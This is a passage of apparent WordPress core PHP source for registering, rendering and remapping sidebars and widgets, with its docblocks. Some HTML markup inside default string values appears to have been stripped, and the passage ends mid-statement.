{@see 'dynamic_sidebar_before'} action. * Default empty string. * @type string $after_sidebar HTML content to append to the sidebar when displayed. * Outputs before the {@see 'dynamic_sidebar_after'} action. * Default empty string. * @type bool $show_in_rest Whether to show this sidebar publicly in the REST API. * Defaults to only showing the sidebar to administrator users. * } * @return string Sidebar ID added to $wp_registered_sidebars global. */ function register_sidebar( $args = array() ) { global $wp_registered_sidebars; $i = count( $wp_registered_sidebars ) + 1; $id_is_empty = empty( $args['id'] ); $defaults = array( /* translators: %d: Sidebar number. */ 'name' => sprintf( __( 'Sidebar %d' ), $i ), 'id' => "sidebar-$i", 'description' => '', 'class' => '', 'before_widget' => '
  • ', 'after_widget' => "
  • \n", 'before_title' => '

    ', 'after_title' => "

    \n", 'before_sidebar' => '', 'after_sidebar' => '', 'show_in_rest' => false, ); /** * Filters the sidebar default arguments. * * @since 5.3.0 * * @see register_sidebar() * * @param array $defaults The default sidebar arguments. */ $sidebar = wp_parse_args( $args, apply_filters( 'register_sidebar_defaults', $defaults ) ); if ( $id_is_empty ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: The 'id' argument, 2: Sidebar name, 3: Recommended 'id' value. */ __( 'No %1$s was set in the arguments array for the "%2$s" sidebar. Defaulting to "%3$s". Manually set the %1$s to "%3$s" to silence this notice and keep existing sidebar content.' ), 'id', $sidebar['name'], $sidebar['id'] ), '4.2.0' ); } $wp_registered_sidebars[ $sidebar['id'] ] = $sidebar; add_theme_support( 'widgets' ); /** * Fires once a sidebar has been registered. * * @since 3.0.0 * * @param array $sidebar Parsed arguments for the registered sidebar. */ do_action( 'register_sidebar', $sidebar ); return $sidebar['id']; } /** * Removes a sidebar from the list. * * @since 2.2.0 * * @global array $wp_registered_sidebars The registered sidebars. * * @param string|int $sidebar_id The ID of the sidebar when it was registered. */ function unregister_sidebar( $sidebar_id ) { global $wp_registered_sidebars; unset( $wp_registered_sidebars[ $sidebar_id ] ); } /** * Checks if a sidebar is registered. * * @since 4.4.0 * * @global array $wp_registered_sidebars The registered sidebars. * * @param string|int $sidebar_id The ID of the sidebar when it was registered. * @return bool True if the sidebar is registered, false otherwise. */ function is_registered_sidebar( $sidebar_id ) { global $wp_registered_sidebars; return isset( $wp_registered_sidebars[ $sidebar_id ] ); } /** * Registers an instance of a widget. * * The default widget option is 'classname' that can be overridden. * * The function can also be used to un-register widgets when `$output_callback` * parameter is an empty string. * * @since 2.2.0 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter * by adding it to the function signature. * @since 5.8.0 Added show_instance_in_rest option. * * @global array $wp_registered_widgets Uses stored registered widgets. * @global array $wp_registered_widget_controls Stores the registered widget controls (options). * @global array $wp_registered_widget_updates The registered widget updates. * @global array $_wp_deprecated_widgets_callbacks * * @param int|string $id Widget ID. * @param string $name Widget display title. * @param callable $output_callback Run when widget is called. * @param array $options { * Optional. An array of supplementary widget options for the instance. * * @type string $classname Class name for the widget's HTML container. Default is a shortened * version of the output callback name. * @type string $description Widget description for display in the widget administration * panel and/or theme. * @type bool $show_instance_in_rest Whether to show the widget's instance settings in the REST API. * Only available for WP_Widget based widgets. * } * @param mixed ...$params Optional additional parameters to pass to the callback function when it's called. */ function wp_register_sidebar_widget( $id, $name, $output_callback, $options = array(), ...$params ) { global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks; $id = strtolower( $id ); if ( empty( $output_callback ) ) { unset( $wp_registered_widgets[ $id ] ); return; } $id_base = _get_widget_id_base( $id ); if ( in_array( $output_callback, $_wp_deprecated_widgets_callbacks, true ) && ! is_callable( $output_callback ) ) { unset( $wp_registered_widget_controls[ $id ] ); unset( $wp_registered_widget_updates[ $id_base ] ); return; } $defaults = array( 'classname' => $output_callback ); $options = wp_parse_args( $options, $defaults ); $widget = array( 'name' => $name, 'id' => $id, 'callback' => $output_callback, 'params' => $params, ); $widget = array_merge( $widget, $options ); if ( is_callable( $output_callback ) && ( ! isset( $wp_registered_widgets[ $id ] ) || did_action( 'widgets_init' ) ) ) { /** * Fires once for each registered widget. * * @since 3.0.0 * * @param array $widget An array of default widget arguments. */ do_action( 'wp_register_sidebar_widget', $widget ); $wp_registered_widgets[ $id ] = $widget; } } /** * Retrieves description for widget. * * When registering widgets, the options can also include 'description' that * describes the widget for display on the widget administration panel or * in the theme. * * @since 2.5.0 * * @global array $wp_registered_widgets The registered widgets. * * @param int|string $id Widget ID. * @return string|void Widget description, if available. */ function wp_widget_description( $id ) { if ( ! is_scalar( $id ) ) { return; } global $wp_registered_widgets; if ( isset( $wp_registered_widgets[ $id ]['description'] ) ) { return esc_html( $wp_registered_widgets[ $id ]['description'] ); } } /** * Retrieves description for a sidebar. * * When registering sidebars a 'description' parameter can be included that * describes the sidebar for display on the widget administration panel. * * @since 2.9.0 * * @global array $wp_registered_sidebars The registered sidebars. * * @param string $id sidebar ID. * @return string|void Sidebar description, if available. */ function wp_sidebar_description( $id ) { if ( ! is_scalar( $id ) ) { return; } global $wp_registered_sidebars; if ( isset( $wp_registered_sidebars[ $id ]['description'] ) ) { return wp_kses( $wp_registered_sidebars[ $id ]['description'], 'sidebar_description' ); } } /** * Remove widget from sidebar. * * @since 2.2.0 * * @param int|string $id Widget ID. */ function wp_unregister_sidebar_widget( $id ) { /** * Fires just before a widget is removed from a sidebar. * * @since 3.0.0 * * @param int|string $id The widget ID. */ do_action( 'wp_unregister_sidebar_widget', $id ); wp_register_sidebar_widget( $id, '', '' ); wp_unregister_widget_control( $id ); } /** * Registers widget control callback for customizing options. * * @since 2.2.0 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter * by adding it to the function signature. * * @global array $wp_registered_widget_controls The registered widget controls. * @global array $wp_registered_widget_updates The registered widget updates. * @global array $wp_registered_widgets The registered widgets. * @global array $_wp_deprecated_widgets_callbacks * * @param int|string $id Sidebar ID. * @param string $name Sidebar display name. * @param callable $control_callback Run when sidebar is displayed. * @param array $options { * Optional. Array or string of control options. Default empty array. * * @type int $height Never used. Default 200. * @type int $width Width of the fully expanded control form (but try hard to use the default width). * Default 250. * @type int|string $id_base Required for multi-widgets, i.e widgets that allow multiple instances such as the * text widget. The widget ID will end up looking like `{$id_base}-{$unique_number}`. * } * @param mixed ...$params Optional additional parameters to pass to the callback function when it's called. */ function wp_register_widget_control( $id, $name, $control_callback, $options = array(), ...$params ) { global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks; $id = strtolower( $id ); $id_base = _get_widget_id_base( $id ); if ( empty( $control_callback ) ) { unset( $wp_registered_widget_controls[ $id ] ); unset( $wp_registered_widget_updates[ $id_base ] ); return; } if ( in_array( $control_callback, $_wp_deprecated_widgets_callbacks, true ) && ! is_callable( $control_callback ) ) { unset( $wp_registered_widgets[ $id ] ); return; } if ( isset( $wp_registered_widget_controls[ $id ] ) && ! did_action( 'widgets_init' ) ) { return; } $defaults = array( 'width' => 250, 'height' => 200, ); // Height is never used. $options = wp_parse_args( $options, $defaults ); $options['width'] = (int) $options['width']; $options['height'] = (int) $options['height']; $widget = array( 'name' => $name, 'id' => $id, 'callback' => $control_callback, 'params' => $params, ); $widget = array_merge( $widget, $options ); $wp_registered_widget_controls[ $id ] = $widget; if ( isset( $wp_registered_widget_updates[ $id_base ] ) ) { return; } if ( isset( $widget['params'][0]['number'] ) ) { $widget['params'][0]['number'] = -1; } unset( $widget['width'], $widget['height'], $widget['name'], $widget['id'] ); $wp_registered_widget_updates[ $id_base ] = $widget; } /** * Registers the update callback for a widget. * * @since 2.8.0 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter * by adding it to the function signature. * * @global array $wp_registered_widget_updates The registered widget updates. * * @param string $id_base The base ID of a widget created by extending WP_Widget. * @param callable $update_callback Update callback method for the widget. * @param array $options Optional. Widget control options. See wp_register_widget_control(). * Default empty array. * @param mixed ...$params Optional additional parameters to pass to the callback function when it's called. */ function _register_widget_update_callback( $id_base, $update_callback, $options = array(), ...$params ) { global $wp_registered_widget_updates; if ( isset( $wp_registered_widget_updates[ $id_base ] ) ) { if ( empty( $update_callback ) ) { unset( $wp_registered_widget_updates[ $id_base ] ); } return; } $widget = array( 'callback' => $update_callback, 'params' => $params, ); $widget = array_merge( $widget, $options ); $wp_registered_widget_updates[ $id_base ] = $widget; } /** * Registers the form callback for a widget. * * @since 2.8.0 * @since 5.3.0 Formalized the existing and already documented `...$params` parameter * by adding it to the function signature. * * @global array $wp_registered_widget_controls The registered widget controls. * * @param int|string $id Widget ID. * @param string $name Name attribute for the widget. * @param callable $form_callback Form callback. * @param array $options Optional. Widget control options. See wp_register_widget_control(). * Default empty array. * @param mixed ...$params Optional additional parameters to pass to the callback function when it's called. */ function _register_widget_form_callback( $id, $name, $form_callback, $options = array(), ...$params ) { global $wp_registered_widget_controls; $id = strtolower( $id ); if ( empty( $form_callback ) ) { unset( $wp_registered_widget_controls[ $id ] ); return; } if ( isset( $wp_registered_widget_controls[ $id ] ) && ! did_action( 'widgets_init' ) ) { return; } $defaults = array( 'width' => 250, 'height' => 200, ); $options = wp_parse_args( $options, $defaults ); $options['width'] = (int) $options['width']; $options['height'] = (int) $options['height']; $widget = array( 'name' => $name, 'id' => $id, 'callback' => $form_callback, 'params' => $params, ); $widget = array_merge( $widget, $options ); $wp_registered_widget_controls[ $id ] = $widget; } /** * Removes control callback for widget. * * @since 2.2.0 * * @param int|string $id Widget ID. */ function wp_unregister_widget_control( $id ) { wp_register_widget_control( $id, '', '' ); } /** * Displays dynamic sidebar. * * By default this displays the default sidebar or 'sidebar-1'. If your theme specifies the 'id' or * 'name' parameter for its registered sidebars you can pass an ID or name as the $index parameter. * Otherwise, you can pass in a numerical index to display the sidebar at that index. * * @since 2.2.0 * * @global array $wp_registered_sidebars The registered sidebars. * @global array $wp_registered_widgets The registered widgets. * * @param int|string $index Optional. Index, name or ID of dynamic sidebar. Default 1. * @return bool True, if widget sidebar was found and called. False if not found or not called. */ function dynamic_sidebar( $index = 1 ) { global $wp_registered_sidebars, $wp_registered_widgets; if ( is_int( $index ) ) { $index = "sidebar-$index"; } else { $index = sanitize_title( $index ); foreach ( (array) $wp_registered_sidebars as $key => $value ) { if ( sanitize_title( $value['name'] ) === $index ) { $index = $key; break; } } } $sidebars_widgets = wp_get_sidebars_widgets(); if ( empty( $wp_registered_sidebars[ $index ] ) || empty( $sidebars_widgets[ $index ] ) || ! is_array( $sidebars_widgets[ $index ] ) ) { /** This action is documented in wp-includes/widget.php */ do_action( 'dynamic_sidebar_before', $index, false ); /** This action is documented in wp-includes/widget.php */ do_action( 'dynamic_sidebar_after', $index, false ); /** This filter is documented in wp-includes/widget.php */ return apply_filters( 'dynamic_sidebar_has_widgets', false, $index ); } $sidebar = $wp_registered_sidebars[ $index ]; $sidebar['before_sidebar'] = sprintf( $sidebar['before_sidebar'], $sidebar['id'], $sidebar['class'] ); /** * Fires before widgets are rendered in a dynamic sidebar. * * Note: The action also fires for empty sidebars, and on both the front end * and back end, including the Inactive Widgets sidebar on the Widgets screen. * * @since 3.9.0 * * @param int|string $index Index, name, or ID of the dynamic sidebar. * @param bool $has_widgets Whether the sidebar is populated with widgets. * Default true. */ do_action( 'dynamic_sidebar_before', $index, true ); if ( ! is_admin() && ! empty( $sidebar['before_sidebar'] ) ) { echo $sidebar['before_sidebar']; } $did_one = false; foreach ( (array) $sidebars_widgets[ $index ] as $id ) { if ( ! isset( $wp_registered_widgets[ $id ] ) ) { continue; } $params = array_merge( array( array_merge( $sidebar, array( 'widget_id' => $id, 'widget_name' => $wp_registered_widgets[ $id ]['name'], ) ), ), (array) $wp_registered_widgets[ $id ]['params'] ); // Substitute HTML `id` and `class` attributes into `before_widget`. $classname_ = ''; foreach ( (array) $wp_registered_widgets[ $id ]['classname'] as $cn ) { if ( is_string( $cn ) ) { $classname_ .= '_' . $cn; } elseif ( is_object( $cn ) ) { $classname_ .= '_' . get_class( $cn ); } } $classname_ = ltrim( $classname_, '_' ); $params[0]['before_widget'] = sprintf( $params[0]['before_widget'], str_replace( '\\', '_', $id ), $classname_ ); /** * Filters the parameters passed to a widget's display callback. * * Note: The filter is evaluated on both the front end and back end, * including for the Inactive Widgets sidebar on the Widgets screen. * * @since 2.5.0 * * @see register_sidebar() * * @param array $params { * @type array $args { * An array of widget display arguments. * * @type string $name Name of the sidebar the widget is assigned to. * @type string $id ID of the sidebar the widget is assigned to. * @type string $description The sidebar description. * @type string $class CSS class applied to the sidebar container. * @type string $before_widget HTML markup to prepend to each widget in the sidebar. * @type string $after_widget HTML markup to append to each widget in the sidebar. * @type string $before_title HTML markup to prepend to the widget title when displayed. * @type string $after_title HTML markup to append to the widget title when displayed. * @type string $widget_id ID of the widget. * @type string $widget_name Name of the widget. * } * @type array $widget_args { * An array of multi-widget arguments. * * @type int $number Number increment used for multiples of the same widget. * } * } */ $params = apply_filters( 'dynamic_sidebar_params', $params ); $callback = $wp_registered_widgets[ $id ]['callback']; /** * Fires before a widget's display callback is called. * * Note: The action fires on both the front end and back end, including * for widgets in the Inactive Widgets sidebar on the Widgets screen. * * The action is not fired for empty sidebars. * * @since 3.0.0 * * @param array $widget { * An associative array of widget arguments. * * @type string $name Name of the widget. * @type string $id Widget ID. * @type callable $callback When the hook is fired on the front end, `$callback` is an array * containing the widget object. Fired on the back end, `$callback` * is 'wp_widget_control', see `$_callback`. * @type array $params An associative array of multi-widget arguments. * @type string $classname CSS class applied to the widget container. * @type string $description The widget description. * @type array $_callback When the hook is fired on the back end, `$_callback` is populated * with an array containing the widget object, see `$callback`. * } */ do_action( 'dynamic_sidebar', $wp_registered_widgets[ $id ] ); if ( is_callable( $callback ) ) { call_user_func_array( $callback, $params ); $did_one = true; } } if ( ! is_admin() && ! empty( $sidebar['after_sidebar'] ) ) { echo $sidebar['after_sidebar']; } /** * Fires after widgets are rendered in a dynamic sidebar. * * Note: The action also fires for empty sidebars, and on both the front end * and back end, including the Inactive Widgets sidebar on the Widgets screen. * * @since 3.9.0 * * @param int|string $index Index, name, or ID of the dynamic sidebar. * @param bool $has_widgets Whether the sidebar is populated with widgets. * Default true. */ do_action( 'dynamic_sidebar_after', $index, true ); /** * Filters whether a sidebar has widgets. * * Note: The filter is also evaluated for empty sidebars, and on both the front end * and back end, including the Inactive Widgets sidebar on the Widgets screen. * * @since 3.9.0 * * @param bool $did_one Whether at least one widget was rendered in the sidebar. * Default false. * @param int|string $index Index, name, or ID of the dynamic sidebar. */ return apply_filters( 'dynamic_sidebar_has_widgets', $did_one, $index ); } /** * Determines whether a given widget is displayed on the front end. * * Either $callback or $id_base can be used. * $id_base is the first argument when extending WP_Widget class. * Without the optional $widget_id parameter, returns the ID of the first sidebar * in which the first instance of the widget with the given callback or $id_base is found. * With the $widget_id parameter, returns the ID of the sidebar where * the widget with that callback/$id_base AND that ID is found. * * NOTE: $widget_id and $id_base are the same for single widgets. To be effective * this function has to run after widgets have initialized, at action {@see 'init'} or later. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.2.0 * * @global array $wp_registered_widgets The registered widgets. * * @param callable|false $callback Optional. Widget callback to check. Default false. * @param string|false $widget_id Optional. Widget ID. Optional, but needed for checking. * Default false. * @param string|false $id_base Optional. The base ID of a widget created by extending WP_Widget. * Default false. * @param bool $skip_inactive Optional. Whether to check in 'wp_inactive_widgets'. * Default true. * @return string|false ID of the sidebar in which the widget is active, * false if the widget is not active. */ function is_active_widget( $callback = false, $widget_id = false, $id_base = false, $skip_inactive = true ) { global $wp_registered_widgets; $sidebars_widgets = wp_get_sidebars_widgets(); if ( is_array( $sidebars_widgets ) ) { foreach ( $sidebars_widgets as $sidebar => $widgets ) { if ( $skip_inactive && ( 'wp_inactive_widgets' === $sidebar || str_starts_with( $sidebar, 'orphaned_widgets' ) ) ) { continue; } if ( is_array( $widgets ) ) { foreach ( $widgets as $widget ) { if ( ( $callback && isset( $wp_registered_widgets[ $widget ]['callback'] ) && $wp_registered_widgets[ $widget ]['callback'] === $callback ) || ( $id_base && _get_widget_id_base( $widget ) === $id_base ) ) { if ( ! $widget_id || $widget_id === $wp_registered_widgets[ $widget ]['id'] ) { return $sidebar; } } } } } } return false; } /** * Determines whether the dynamic sidebar is enabled and used by the theme. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.2.0 * * @global array $wp_registered_widgets The registered widgets. * @global array $wp_registered_sidebars The registered sidebars. * * @return bool True if using widgets, false otherwise. */ function is_dynamic_sidebar() { global $wp_registered_widgets, $wp_registered_sidebars; $sidebars_widgets = get_option( 'sidebars_widgets' ); foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) { if ( ! empty( $sidebars_widgets[ $index ] ) ) { foreach ( (array) $sidebars_widgets[ $index ] as $widget ) { if ( array_key_exists( $widget, $wp_registered_widgets ) ) { return true; } } } } return false; } /** * Determines whether a sidebar contains widgets. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.8.0 * * @param string|int $index Sidebar name, id or number to check. * @return bool True if the sidebar has widgets, false otherwise. */ function is_active_sidebar( $index ) { $index = ( is_int( $index ) ) ? "sidebar-$index" : sanitize_title( $index ); $sidebars_widgets = wp_get_sidebars_widgets(); $is_active_sidebar = ! empty( $sidebars_widgets[ $index ] ); /** * Filters whether a dynamic sidebar is considered "active". * * @since 3.9.0 * * @param bool $is_active_sidebar Whether or not the sidebar should be considered "active". * In other words, whether the sidebar contains any widgets. * @param int|string $index Index, name, or ID of the dynamic sidebar. */ return apply_filters( 'is_active_sidebar', $is_active_sidebar, $index ); } // // Internal Functions. // /** * Retrieves the full list of sidebars and their widget instance IDs. * * Will upgrade sidebar widget list, if needed. Will also save updated list, if * needed. * * @since 2.2.0 * @access private * * @global array $_wp_sidebars_widgets * @global array $sidebars_widgets * * @param bool $deprecated Not used (argument deprecated). * @return array Upgraded list of widgets to version 3 array format when called from the admin. */ function wp_get_sidebars_widgets( $deprecated = true ) { if ( true !== $deprecated ) { _deprecated_argument( __FUNCTION__, '2.8.1' ); } global $_wp_sidebars_widgets, $sidebars_widgets; /* * If loading from front page, consult $_wp_sidebars_widgets rather than options * to see if wp_convert_widget_settings() has made manipulations in memory. */ if ( ! is_admin() ) { if ( empty( $_wp_sidebars_widgets ) ) { $_wp_sidebars_widgets = get_option( 'sidebars_widgets', array() ); } $sidebars_widgets = $_wp_sidebars_widgets; } else { $sidebars_widgets = get_option( 'sidebars_widgets', array() ); } if ( is_array( $sidebars_widgets ) && isset( $sidebars_widgets['array_version'] ) ) { unset( $sidebars_widgets['array_version'] ); } /** * Filters the list of sidebars and their widgets. * * @since 2.7.0 * * @param array $sidebars_widgets An associative array of sidebars and their widgets. */ return apply_filters( 'sidebars_widgets', $sidebars_widgets ); } /** * Retrieves the registered sidebar with the given ID. * * @since 5.9.0 * * @global array $wp_registered_sidebars The registered sidebars. * * @param string $id The sidebar ID. * @return array|null The discovered sidebar, or null if it is not registered. */ function wp_get_sidebar( $id ) { global $wp_registered_sidebars; foreach ( (array) $wp_registered_sidebars as $sidebar ) { if ( $sidebar['id'] === $id ) { return $sidebar; } } if ( 'wp_inactive_widgets' === $id ) { return array( 'id' => 'wp_inactive_widgets', 'name' => __( 'Inactive widgets' ), ); } return null; } /** * Sets the sidebar widget option to update sidebars. * * @since 2.2.0 * @access private * * @global array $_wp_sidebars_widgets * @param array $sidebars_widgets Sidebar widgets and their settings. */ function wp_set_sidebars_widgets( $sidebars_widgets ) { global $_wp_sidebars_widgets; // Clear cached value used in wp_get_sidebars_widgets(). $_wp_sidebars_widgets = null; if ( ! isset( $sidebars_widgets['array_version'] ) ) { $sidebars_widgets['array_version'] = 3; } update_option( 'sidebars_widgets', $sidebars_widgets ); } /** * Retrieves default registered sidebars list. * * @since 2.2.0 * @access private * * @global array $wp_registered_sidebars The registered sidebars. * * @return array */ function wp_get_widget_defaults() { global $wp_registered_sidebars; $defaults = array(); foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) { $defaults[ $index ] = array(); } return $defaults; } /** * Converts the widget settings from single to multi-widget format. * * @since 2.8.0 * * @global array $_wp_sidebars_widgets * * @param string $base_name Root ID for all widgets of this type. * @param string $option_name Option name for this widget type. * @param array $settings The array of widget instance settings. * @return array The array of widget settings converted to multi-widget format. */ function wp_convert_widget_settings( $base_name, $option_name, $settings ) { // This test may need expanding. $single = false; $changed = false; if ( empty( $settings ) ) { $single = true; } else { foreach ( array_keys( $settings ) as $number ) { if ( 'number' === $number ) { continue; } if ( ! is_numeric( $number ) ) { $single = true; break; } } } if ( $single ) { $settings = array( 2 => $settings ); // If loading from the front page, update sidebar in memory but don't save to options. if ( is_admin() ) { $sidebars_widgets = get_option( 'sidebars_widgets' ); } else { if ( empty( $GLOBALS['_wp_sidebars_widgets'] ) ) { $GLOBALS['_wp_sidebars_widgets'] = get_option( 'sidebars_widgets', array() ); } $sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets']; } foreach ( (array) $sidebars_widgets as $index => $sidebar ) { if ( is_array( $sidebar ) ) { foreach ( $sidebar as $i => $name ) { if ( $base_name === $name ) { $sidebars_widgets[ $index ][ $i ] = "$name-2"; $changed = true; break 2; } } } } if ( is_admin() && $changed ) { update_option( 'sidebars_widgets', $sidebars_widgets ); } } $settings['_multiwidget'] = 1; if ( is_admin() ) { update_option( $option_name, $settings ); } return $settings; } /** * Outputs an arbitrary widget as a template tag. * * @since 2.8.0 * * @global WP_Widget_Factory $wp_widget_factory * * @param string $widget The widget's PHP class name (see class-wp-widget.php). * @param array $instance Optional. The widget's instance settings. Default empty array. * @param array $args { * Optional. Array of arguments to configure the display of the widget. * * @type string $before_widget HTML content that will be prepended to the widget's HTML output. * Default `
    `, where `%s` is the widget's class name. * @type string $after_widget HTML content that will be appended to the widget's HTML output. * Default `
    `. * @type string $before_title HTML content that will be prepended to the widget's title when displayed. * Default `

    `. * @type string $after_title HTML content that will be appended to the widget's title when displayed. * Default `

    `. * } */ function the_widget( $widget, $instance = array(), $args = array() ) { global $wp_widget_factory; if ( ! isset( $wp_widget_factory->widgets[ $widget ] ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: %s: register_widget() */ __( 'Widgets need to be registered using %s, before they can be displayed.' ), 'register_widget()' ), '4.9.0' ); return; } $widget_obj = $wp_widget_factory->widgets[ $widget ]; if ( ! ( $widget_obj instanceof WP_Widget ) ) { return; } $default_args = array( 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ', ); $args = wp_parse_args( $args, $default_args ); $args['before_widget'] = sprintf( $args['before_widget'], $widget_obj->widget_options['classname'] ); $instance = wp_parse_args( $instance ); /** This filter is documented in wp-includes/class-wp-widget.php */ $instance = apply_filters( 'widget_display_callback', $instance, $widget_obj, $args ); if ( false === $instance ) { return; } /** * Fires before rendering the requested widget. * * @since 3.0.0 * * @param string $widget The widget's class name. * @param array $instance The current widget instance's settings. * @param array $args An array of the widget's sidebar arguments. */ do_action( 'the_widget', $widget, $instance, $args ); $widget_obj->_set( -1 ); $widget_obj->widget( $args, $instance ); } /** * Retrieves the widget ID base value. * * @since 2.8.0 * * @param string $id Widget ID. * @return string Widget ID base. */ function _get_widget_id_base( $id ) { return preg_replace( '/-[0-9]+$/', '', $id ); } /** * Handles sidebars config after theme change. * * @access private * @since 3.3.0 * * @global array $sidebars_widgets */ function _wp_sidebars_changed() { global $sidebars_widgets; if ( ! is_array( $sidebars_widgets ) ) { $sidebars_widgets = wp_get_sidebars_widgets(); } retrieve_widgets( true ); } /** * Validates and remaps any "orphaned" widgets to wp_inactive_widgets sidebar, * and saves the widget settings. This has to run at least on each theme change. * * For example, let's say theme A has a "footer" sidebar, and theme B doesn't have one. * After switching from theme A to theme B, all the widgets previously assigned * to the footer would be inaccessible. This function detects this scenario, and * moves all the widgets previously assigned to the footer under wp_inactive_widgets. * * Despite the word "retrieve" in the name, this function actually updates the database * and the global `$sidebars_widgets`. For that reason it should not be run on front end, * unless the `$theme_changed` value is 'customize' (to bypass the database write). * * @since 2.8.0 * * @global array $wp_registered_sidebars The registered sidebars. * @global array $sidebars_widgets * @global array $wp_registered_widgets The registered widgets. * * @param string|bool $theme_changed Whether the theme was changed as a boolean. A value * of 'customize' defers updates for the Customizer. * @return array Updated sidebars widgets. */ function retrieve_widgets( $theme_changed = false ) { global $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets; $registered_sidebars_keys = array_keys( $wp_registered_sidebars ); $registered_widgets_ids = array_keys( $wp_registered_widgets ); if ( ! is_array( get_theme_mod( 'sidebars_widgets' ) ) ) { if ( empty( $sidebars_widgets ) ) { return array(); } unset( $sidebars_widgets['array_version'] ); $sidebars_widgets_keys = array_keys( $sidebars_widgets ); sort( $sidebars_widgets_keys ); sort( $registered_sidebars_keys ); if ( $sidebars_widgets_keys === $registered_sidebars_keys ) { $sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids ); return $sidebars_widgets; } } // Discard invalid, theme-specific widgets from sidebars. $sidebars_widgets = _wp_remove_unregistered_widgets( $sidebars_widgets, $registered_widgets_ids ); $sidebars_widgets = wp_map_sidebars_widgets( $sidebars_widgets ); // Replace non-array values inside the array with an empty array. foreach ( $sidebars_widgets as $key => $value ) { if ( ! is_array( $value ) ) { $sidebars_widgets[ $key ] = array(); } } // Find hidden/lost multi-widget instances. $shown_widgets = array_merge( ...array_values( $sidebars_widgets ) ); $lost_widgets = array_diff( $registered_widgets_ids, $shown_widgets ); foreach ( $lost_widgets as $key => $widget_id ) { $number = preg_replace( '/.+?-([0-9]+)$/', '$1', $widget_id ); // Only keep active and default widgets. if ( is_numeric( $number ) && (int) $number < 2 ) { unset( $lost_widgets[ $key ] ); } } $sidebars_widgets['wp_inactive_widgets'] = array_merge( $lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets'] ); if ( 'customize' !== $theme_changed ) { // Update the widgets settings in the database. wp_set_sidebars_widgets( $sidebars_widgets ); } return $sidebars_widgets; } /** * Compares a list of sidebars with their widgets against an allowed list. * * @since 4.9.0 * @since 4.9.2 Always tries to restore widget assignments from previous data, not just if sidebars needed mapping. * * @global array $wp_registered_sidebars The registered sidebars. * * @param array $existing_sidebars_widgets List of sidebars and their widget instance IDs. * @return array Mapped sidebars widgets. */ function wp_map_sidebars_widgets( $existing_sidebars_widgets ) { global $wp_registered_sidebars; $new_sidebars_widgets = array( 'wp_inactive_widgets' => array(), ); // Short-circuit if there are no sidebars to map. if ( ! is_array( $existing_sidebars_widgets ) || empty( $existing_sidebars_widgets ) ) { return $new_sidebars_widgets; } foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) { if ( 'wp_inactive_widgets' === $sidebar || str_starts_with( $sidebar, 'orphaned_widgets' ) ) { $new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], (array) $widgets ); unset( $existing_sidebars_widgets[ $sidebar ] ); } } // If old and new theme have just one sidebar, map it and we're done. if ( 1 === count( $existing_sidebars_widgets ) && 1 === count( $wp_registered_sidebars ) ) { $new_sidebars_widgets[ key( $wp_registered_sidebars ) ] = array_pop( $existing_sidebars_widgets ); return $new_sidebars_widgets; } // Map locations with the same slug. $existing_sidebars = array_keys( $existing_sidebars_widgets ); foreach ( $wp_registered_sidebars as $sidebar => $name ) { if ( in_array( $sidebar, $existing_sidebars, true ) ) { $new_sidebars_widgets[ $sidebar ] = $existing_sidebars_widgets[ $sidebar ]; unset( $existing_sidebars_widgets[ $sidebar ] ); } elseif ( ! array_key_exists( $sidebar, $new_sidebars_widgets ) ) { $new_sidebars_widgets[ $sidebar ] = array(); } } // If there are more sidebars, try to map them. if ( ! empty( $existing_sidebars_widgets ) ) { /* * If old and new theme both have sidebars that contain phrases * from within the same group, make an educated guess and map it. */ $common_slug_groups = array( array( 'sidebar', 'primary', 'main', 'right' ), array( 'second', 'left' ), array( 'sidebar-2', 'footer', 'bottom' ), array( 'header', 'top' ), ); // Go through each group... foreach ( $common_slug_groups as $slug_group ) { // ...and see if any of these slugs... foreach ( $slug_group as $slug ) { // ...and any of the new sidebars... foreach ( $wp_registered_sidebars as $new_sidebar => $args ) { // ...actually match! if ( false === stripos( $new_sidebar, $slug ) && false === stripos( $slug, $new_sidebar ) ) { continue; } // Then see if any of the existing sidebars... foreach ( $existing_sidebars_widgets as $sidebar => $widgets ) { // ...and any slug in the same group... foreach ( $slug_group as $slug ) { // ... have a match as well. if ( false === stripos( $sidebar, $slug ) && false === stripos( $slug, $sidebar ) ) { continue; } // Make sure this sidebar wasn't mapped and removed previously. if ( ! empty( $existing_sidebars_widgets[ $sidebar ] ) ) { // We have a match that can be mapped! $new_sidebars_widgets[ $new_sidebar ] = array_merge( $new_sidebars_widgets[ $new_sidebar ], $existing_sidebars_widgets[ $sidebar ] ); // Remove the mapped sidebar so it can't be mapped again. unset( $existing_sidebars_widgets[ $sidebar ] ); // Go back and check the next new sidebar. continue 3; } } // End foreach ( $slug_group as $slug ). } // End foreach ( $existing_sidebars_widgets as $sidebar => $widgets ). } // End foreach ( $wp_registered_sidebars as $new_sidebar => $args ). } // End foreach ( $slug_group as $slug ). } // End foreach ( $common_slug_groups as $slug_group ). } // Move any left over widgets to inactive sidebar. foreach ( $existing_sidebars_widgets as $widgets ) { if ( is_array( $widgets ) && ! empty( $widgets ) ) { $new_sidebars_widgets['wp_inactive_widgets'] = array_merge( $new_sidebars_widgets['wp_inactive_widgets'], 